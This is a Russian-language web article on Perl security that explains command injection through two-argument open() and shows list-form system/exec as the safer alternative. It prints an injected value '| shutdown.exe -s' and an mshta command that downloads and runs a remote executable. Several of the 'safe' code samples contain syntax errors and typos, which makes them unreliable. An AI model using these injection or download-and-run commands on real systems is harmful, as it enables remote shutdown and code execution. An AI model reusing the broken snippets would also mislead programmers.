Суббота, 20.04.2024, 04:13
Приветствую Вас Гость | RSS
Меню сайта
Форма входа
Поиск
Статистика

Онлайн всего: 1
Гостей: 1
Пользователей: 0
Категории раздела
Категории раздела

Каталог статей

Главная » Статьи » Язык программирование Perl » Описание Языка Perl

Применение хакерских атак с помощью Perl
Если вы системный администратор, программист и вы программируете на языке программирования Perl, то наверняка много раз сталкивались с информацией о уязвимости Perl для хакерских атак.
Perl требует особое внимание при составлении кода  программы (скрипта) при которой каждой малейшей ошибке программиста система остается открытой и доступной для хакерских атак особенно в операционных системах Windows.
Например приведенный ниже фрагмент кода, который просто выводит содержимое указанного файла.

open(f, $file);
while(<f>){
print 
};

на самом деле с помощью этого простого уязвимого кода на выход можно вывести разные стандартно поставляемые программы например как: calc.exe, notepad.exe, shutdown.exe  удаленно например так: 

$x="| shutdown.exe -s"   #это команда выключает компьютер удаленно
open (file, $x)                 
while (<file>){
print
}

В запуске на удаленном сервере стандартных программ мало смысла, если не знать про идеальную отмычку хакера - утилиту mshta.exe. Она позволяет легко и принужденно закачивать в атакуемую систему и выполнять в ней произвольный код. 

Например: 

mshta http://mysite.com/hack.exe

Приведенной выше примере команда приведет к скачиванию файла и выполняет в ней произвольный код. В Perl внешние программы вы можете запускать различными путями. Вы можете перехватывать вывод внешних программ, открыть туннель(pipe) к программе.

open(SORT, "|/usr/bin/sort | /usr/bin/uniq");
$d=`/bin/date`; # Сохраняет вывод программы date в переменной $d

system "/usr/bin/sort<foo.in";

exec"/usr/bin/sort<foo.in";

Для функции system() и exec() в Perl есть возможность, позволяющаязапускать напрямую внешние
программы без обращения к коммандной оболочке ОС. Если передать внешней программе не строку, 
а список, то Perl не будет использоть оболочку и метасимволы вызовут не желательных побочных эффнктов.

Например:

system "/usr/bin/sort"; "foo.in";

open(SORT, "|-") || exec "/usr/bin/sort", $variable;
while $line(@line){
print SORT $line, "\n";
}
close SORT;

Приведенной выше примере функция open() запускает процесс Perl и открывает 
туннель к  процессу Perl. Для чтения из туннеля без обращения к командной оболочке можно использовать 
похожий способ, с последовательностью "-|":

open (GREP, "-|")||exec "/usr/bun/grep", usserpattern, $filename;
while (<GREP>){
print "match: $_";
}
close GREP;
 
Приведенный выше примере функция system запускает дочерний процесс и выполняет команду sort которая наследует от Perl 
стандартные потоки ввода, вывода ошибок, а функция exec заставляет сам процесс Perl выполнить запрашиваемое действие.
Категория: Описание Языка Perl | Добавил: livebook (04.11.2012) | Автор: Применение хакерских атак с помощью E
Просмотров: 760 | Теги: Perl, Взлом, безопасное программирование | Рейтинг: 0.0/0
Всего комментариев: 0
Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]